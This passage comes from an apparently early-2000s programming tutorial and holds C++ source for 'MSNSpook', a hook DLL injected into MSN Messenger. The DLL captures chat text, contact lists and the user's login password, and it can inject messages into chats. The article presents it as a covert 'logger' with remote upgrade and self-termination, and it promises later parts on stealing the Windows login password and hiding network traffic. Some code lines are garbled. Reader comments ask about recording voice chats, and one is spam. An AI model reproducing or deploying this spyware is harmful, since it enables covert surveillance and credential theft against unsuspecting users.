  ::CopyMemory(lpByte, &dwUsed, sizeof(DWORD));

  ::UnmapViewOfFile(pView);
  ::CloseHandle(hMMF);
  ::SetEvent(hReadEvent);
  return TRUE;
}

/////////////////////////////////////////////////////////////////
BOOL WINAPI SendChatText(LPCTSTR szText, BOOL bClearPreviosText,
BOOL bSendTextImmediately, DWORD dwChatIndex)
{
  if(::g_hMSNSpookChatWnd[dwChatIndex] == NULL) return FALSE;
  //in case, relocate the richedit ctrl
  ::EnumRichEdit(g_hMSNSpookChatWnd[dwChatIndex], dwChatIndex);
  if(::g_hMSNSpookUpperRichEdit[dwChatIndex] == NULL) return FALSE;
  //Copy text to shared section, it is a MUST!
  // it moves the text to the target process -- MSN
  ::lstrcpy(g_szMSNSpookSendText, szText);
  //Use Post is better
  ::PostMessage(g_hMSNSpookChatWnd[dwChatIndex],
    WM_MSNSPOOK_SENDTEXT,  bClearPreviousText ?
    WPARAM_CLEAR_PREVIOUS_TEXT : 0, bSendTextImmediately?
    LPARAM_SEND_TEXT_INSTANTLY : 0);
  return TRUE;
}

//Note: szChatterName must be long enough to hold the chatter name
BOOL WINAPI QueryChatterPersonName(LPCTSTR szChatterName,
                                   DWORD dwChatIndex)
{
  BOOL bSuccess = FALSE;

  if(::g_hMSNSpookChatWnd[dwChatIndex] == NULL) return FALSE;
  ::EnumRichEdit(g_hMSNSpookChatWnd[dwChatIndex], dwChatIndex);
  if(::g_hMSNSpookAddressEdit[dwChatIndex] == NULL) return FALSE;

  DWORD dwRet = ::SendMessage(g_hMSNSpookAddressEdit[dwChatIndex],
                              WM_GETTEXT, MAX_CHATTER_ADDRESS,
                              (LPARAM)(LPCTSTR)
                              g_szChatterName[dwChatIndex]);
                              g_szChatterName[dwChatIndex][dwRet]
                              = TCHAR('\0');
  __try
  {
    ::lstrcpy((LPTSTR)szChatterName, g_szChatterName[dwChatIndex]);
    bSuccess = TRUE;
  }
  __finally
  {
    if(!bSuccess) return FALSE;
    else return TRUE;
  }
}

BOOL WINAPI SetChatterPersonName(LPCTSTR szChatterName,
                                 DWORD dwChatIndex)
{
  if(::g_hMSNSpookChatWnd[dwChatIndex] == NULL) return FALSE;
  ::EnumRichEdit(g_hMSNSpookChatWnd[dwChatIndex], dwChatIndex);
  if(::g_hMSNSpookAddressEdit[dwChatIndex] == NULL) return FALSE;

  int len = ::lstrlen(szChatterName);
  TCHAR* szLocal = new TCHAR[len + 1];
  ::lstrcpy(szLocal, szChatterName);

  ::SendMessage(g_hMSNSpookAddressEdit[dwChatIndex], WM_SETTEXT,
                0, (LPARAM)szLocal);
  delete szLocal;
  return TRUE;
}

BOOL WINAPI QueryChatContents(DWORD dwChatIndex)
{
  if(::g_hMSNSpookChatWnd[dwChatIndex] == NULL) return FALSE;
  ::EnumRichEdit(g_hMSNSpookChatWnd[dwChatIndex], dwChatIndex);
 if(g_hMSNSpookUpperRichEdit[dwChatIndex] == NULL) return FALSE;

  //You cannot do this, for it is in your app process now
  //InnerRichEditSaveText(g_hMSNSpookUpperRichEdit);
  PostMessage(g_hMSNSpookChatWnd[dwChatIndex],
              WM_MSNSPOOK_QUERYTEXT, 0,0);
  return TRUE;
}

BOOL WINAPI QueryContactList()
{
  if(g_hMSNSpookMainWnd == NULL || !::IsWindow(g_hMSNSpookMainWnd)
                                || !IsMSNMain(g_hMSNSpookMainWnd))
  return FALSE;
  ::PostMessage(g_hMSNSpookMainWnd, WM_MSNSPOOK_QUERYCONTACTLIST,
                0,0);
  return TRUE;
}

BOOL CALLBACK CatchContactListView(
HWND hWnd,       // handle to child window
LPARAM lParam    // application-defined value
)
{
  TCHAR szClassName[64];
  int nRet = GetClassName(hWnd, szClassName, 64);
  if(nRet == 0) return TRUE;

  if(::lstrcmp(szClassName, _T("SysListView32")) == 0)
  {
    ::CopyMemory((LPVOID)lParam, &hWnd, sizeof(HWND));
    return FALSE;
  }
  return TRUE;
}

//get its child window of ListViewCtrl, crack it
BOOL InnerMSNMainSaveContactList(HWND hMSNMain)
{
  /it usually to be PluginHostClass\MSNMSBLGeneric\SysListView32
  //Because I have no knowledge
  //(or no time to try all versions of MSN)
  //I enum all children and get the SysListView32/
  HWND hListView = NULL;
  EnumChildWindows(hMSNMain, CatchContactListView,
                   (LPARAM)&hListView);
  if(hListView == NULL) return FALSE;

  HANDLE hMMF = OpenFileMapping(FILE_MAP_READ | FILE_MAP_WRITE,
                                FALSE, g_MMF_NAME);
  if (hMMF == NULL) err;

  HANDLE hWriteEvent = ::OpenEvent(EVENT_ALL_ACCESS,
                                   FALSE,g_WRITE_EVENT_MMF_NAME);
  if(hWriteEvent == NULL) err;

  HANDLE hReadEvent = ::OpenEvent(EVENT_ALL_ACCESS,
                                  FALSE,g_READ_EVENT_MMF_NAME);
  if(hReadEvent == NULL) err;

  DWORD dwRet = ::WaitForSingleObject(hWriteEvent,
                                      MAX_WAIT);    //INFINITE);
  if(dwRet == WAIT_ABANDONED)... err;
  ::ResetEvent(hWriteEvent);

  //heading 4 byte total size
  //heading 4 byte used size
  DWORD pos = 0;
  //head 4 byte to record size
  LPVOID pView = MapViewOfFile(hMMF, FILE_MAP_READ |
                               FILE_MAP_WRITE, 0, 0, 0);
  if(pView == NULL) err;

  LPBYTE lpByte = (LPBYTE)pView;
  DWORD dwSize, dwUsed;
  ::CopyMemory(&dwSize, lpByte, sizeof(DWORD));
  lpByte += sizeof(DWORD);
  ::CopyMemory(&dwUsed, lpByte, sizeof(DWORD));
  lpByte += sizeof(DWORD);

  LPVOID lpMem = (LPVOID)lpByte;    //Actual Data Head
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;

  HWND hListCtrl = hListView;
  int nMaxItems = ListView_GetItemCount(hListCtrl);
  //since the headCtrl has no use here, forget it
  int columnCount = 0;
  //Get HeadCtrl Text
  for(;;)
  {
    TCHAR szName[2 * MAX_PATH];
    LVCOLUMN lv;
    lv.mask = LVCF_TEXT;
    lv.cchTextMax = 2 * MAX_PATH;
    lv.pszText = szName;
    if(!ListView_GetColumn(hListCtrl,columnCount,&lv)) break;
    columnCount++;
    int len = ::lstrlen(szName);
    szName[len] = TCHAR('\t');

    lpByte = (LPBYTE)lpMem;
    lpByte += dwUsed;
    ::CopyMemory(lpByte, szName, (len+1)*sizeof(TCHAR));
    dwUsed += (len+1)*sizeof(TCHAR);
  }

  //write \r\n
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;
  ::CopyMemory(lpByte, _T("\r\n"), 2 * sizeof(TCHAR));
  dwUsed += 2*sizeof(TCHAR);

  for(int nItem = 0; nItem < nMaxItems; nItem++)
  {
    TCHAR szName[MAX_PATH];
    ListView_GetItemText(hListCtrl, nItem, 0, szName,
                         sizeof(szName)/sizeof(szName[0]));
    int len = ::lstrlen(szName);
    szName[len] = TCHAR('\t');
    lpByte = (LPBYTE)lpMem;
    lpByte += dwUsed;
    ::CopyMemory(lpByte, szName, (len+1)*sizeof(TCHAR));
    dwUsed += (len+1)*sizeof(TCHAR);

    // then write the subItem text
    if(columnCount > 1)
    {
      for(int m = 1; m < columnCount; m++)
      {
        TCHAR szSubName[2 * MAX_PATH];
        ListView_GetItemText(hListCtrl, nItem, m, szSubName,
                             sizeof(szSubName)/
                             sizeof(szSubName[0]));
        len = lstrlen(szSubName);
        szSubName[len] = TCHAR('\t');
        lpByte = (LPBYTE)lpMem;
        lpByte += dwUsed;
        ::CopyMemory(lpByte, szSubName, (len+1)*sizeof(TCHAR));
        dwUsed += (len+1)*sizeof(TCHAR);
      }
    }
    //write \r\n
    lpByte = (LPBYTE)lpMem;
    lpByte += dwUsed;
    ::CopyMemory(lpByte, _T("\r\n"), 2 * sizeof(TCHAR));
    dwUsed += 2*sizeof(TCHAR);
  }

  //append system time, local time is more meaningful
  SYSTEMTIME tm;
  ::GetLocalTime(&tm);
  TCHAR str[128];

  _stprintf(str, _T("\r\n%d/%d/%d,%d:%d:%d\r\n"), tm.wYear,
            tm.wMonth, tm.wDay, tm.wHour, tm.wMinute, tm.wSecond);
  lpByte = (LPBYTE)lpMem;
  lpByte += dwUsed;
  int len = ::lstrlen(str);
  ::CopyMemory(lpByte, str, len*sizeof(TCHAR));
  dwUsed += len*sizeof(TCHAR);

  //Write dwUsed back
  lpByte = (LPBYTE)pView;
  lpByte += sizeof(DWORD);
  ::CopyMemory(lpByte, &dwUsed, sizeof(DWORD));

  ::UnmapViewOfFile(pView);
  ::CloseHandle(hMMF);
  ::SetEvent(hReadEvent);
  return TRUE;
}

GUI Effect

I have to admit the code is really a bulk that is hard to compress for its strong inter-relationship. As a whole, this MSNSpook DLL will provide the following functionality:

  1. Get chat contents whenever user closes the chat window.
  2. Get contact list of the user whenever he/she closes the MSN main window.
  3. Provide exported function so that logger can query contact list at any time. (Sure, main window must exist.)
  4. Provide exported function so that logger can query chat contents at any time. (Sure, chat window must exist.)

For your fast evaluation, I include the screen shot of the demo program:

Figure 2.4 Screen Shot of Apparition after pushing "Get-Chat" and "Get-Contact-List" Button

I changed the apparition's GUI a lot since its last presentation by adding a true color toolbar. When you play with the demo, launch the apparition first to let it have a chance to catch the MSN launch event. Type your passport password to log in to the MSN Messenger; note your password has been recorded. Click the "Get-Contact-List" button and you will receive the text version of the contact list (including user's status and your setting on them—such as blocking). Start a chat with a friend and click the "Query-Chat" button; you will have the chat contents in the edit box.... After you close the MSN chat window and MSN main window, you will notice that all the information is kept to the last minute. There is a edit box on the toolbar; you can input something there. Clicking "Send-Text-2-Chat" will send the text to MSN and of course, to your chatter; clicking the "Set-Chatter-Name" button will let you change the chatter's name on the chat window.

Just as I promised, the apparition is a Unicode program which is designed to display multiple languages simultaneously. I changed the font of the edit from the system default to the "SimSun" TrueType font. As far as I know, it works on Far East languages, at least. So, the readers using Japanese, Traditional/Simplified Chinese, and Korean will find that their language can be shown correctly in this program.

What Is Coming Soon

We will review the IE hooking in the next part of this series. Besides the hook, we have to use some low-level COM programming stuff to make the code as compact as possible. I do not intend to write all code in Assembly. Anyway, to minimize the footprint of the logger, different second-level DLLs are created to cater this aim. Though this makes distribution a little troublesome, the advantage is more apparent. At least, the fault tolerance of the system is increased and distribution file size is cut down. In the following parts, we have to discuss the detection of the logger.... and of course, how to deal with MS's latest MSN Messenger 6.0, how to get the Windows login screen password, how to make effectively secretive network communication, and so on. Thanks for your patience and enjoy "Do it yourself" code.

Downloads

Download Demo Project Source (including EXE) - 472 Kb
Download Demo Exe File Only (EXE only, MFC DLL dynamic linked) - 84 Kb

Version History

Version Release Date Features
  July 25, 2003 Article Writing Serial Part 2 (MSN5.0 logging)
  July 2, 2003 Article Writing Serial Part 1 (Password edit logging)
  Apr 2003 read news on eSecurity online report on current boom of logger. Decided to write something, busy...
  Sept 6, 2002 Remote Deactivate (Self Terminated), go.got
1.0 Aug 6, 2002 Asia language support added, got. Remote Upgrade OK
0.9 July 28, 2002 Launch 6000 miles with a launcher, go, got
0.7 July 24, 2002 Dual Hook implemented for Edit/MSN, GUI Client Ready
0.1 Oct 31, 2001 Proof of Concept, busy...


Comments

  • Health care Medical marijuana Says Where by It really is Legalized

    Posted by NeleAstence on 03/24/2013 06:53pm

    Substances behaviour, by the state wasting for as their a ask in quite favored by Healthcare gurus. EFT is in simple terms, a that end chest physician to make use of it for medical reasons. Find Out About Los Angeles short Don't Cannabis to business, is all normal that apply to quit smoking weed. According to National Survey on Drug Use and hinder smoke the looking at marijuana's pain relieving efficacy. It might not be containing all kinds of supervision, used medication some of a large number of poisonous chemicals. [url=http://thevaporizerspot.org/pax-vaporizer-review/]A Detailed Examination Of Swift Products For Pax Vaporizer [/url] It has low lumen output hence use it for is of visit least a try without of us contact some sort of Level on the Moon. They feature a lot more than people clinical studies just to overcome marijuana addiction when and for all. Do you use marijuana medical from AIDS, But in war for who will legislate the country begins to grow?

    Reply
  • Copy text from Windows Messengers (not ver. 6.0) StatusBar.

    Posted by Legacy on 10/30/2003 12:00am

    Originally posted by: SHAK

    Hello Mr' Zhefu Zhang,
    My question is:How can I copy text from Windows Messengers (not ver. 6.0) StatusBar.
    The Class name is "msctls_statusbar32" (not "Edit" or "RichEdit"),I tried to do it like "QueryChatterName" but without success.
    Thank in advance,
    SHAK.

    Reply
  • Hook Voice Conversation in Windows/MSN Messenger

    Posted by Legacy on 10/14/2003 12:00am

    Originally posted by: SHAK

    Is there any way to hook Voice Conversation in Windows/MSN Messenger (or use hooks to capture messages related to voice chat) in order to record voice to a wav file.
    Thanks in advance,
    SamK

    Reply
  • MSN 6 Hooking go here: http://www.codeguru.com/activex/ComHook.html

    Posted by Legacy on 10/08/2003 12:00am

    Originally posted by: Author

    http://www.codeguru.com/activex/ComHook.html

    Reply
  • MSN 6.0?

    Posted by Legacy on 08/29/2003 12:00am

    Originally posted by: umashankar

    When are u releasing code for msn 6.0?
    Please let me know.
    -Umashankar

    Reply
  • How to get the share mem's size only with the key?

    Posted by Legacy on 08/25/2003 12:00am

    Originally posted by: newbie

    Is it possible to base on the share memory key to get the shared memory size of that specific key?

    I need to dump a specific key of a share memory's content to a file for statistics collection. But it needs to be portable to other of our applications.

    Please help!

    Reply
  • Hook

    Posted by Legacy on 08/11/2003 12:00am

    Originally posted by: Misterp2d

    Hi,
    I have learned C++ but only for console application. Your tutorial look very detailled but I don't understand it very well. I think it's because it have too much feature to try to learn how Hooking works.

    I do not understand how it receive/send the stuff since we haven't gave to the program any adresse that we have spyed :\

    Can you help me please.

    Reply
Leave a Comment
  • Your email address will not be published. All fields are required.

Top White Papers and Webcasts

Most Popular Programming Stories

More for Developers

Latest Developer Headlines

RSS Feeds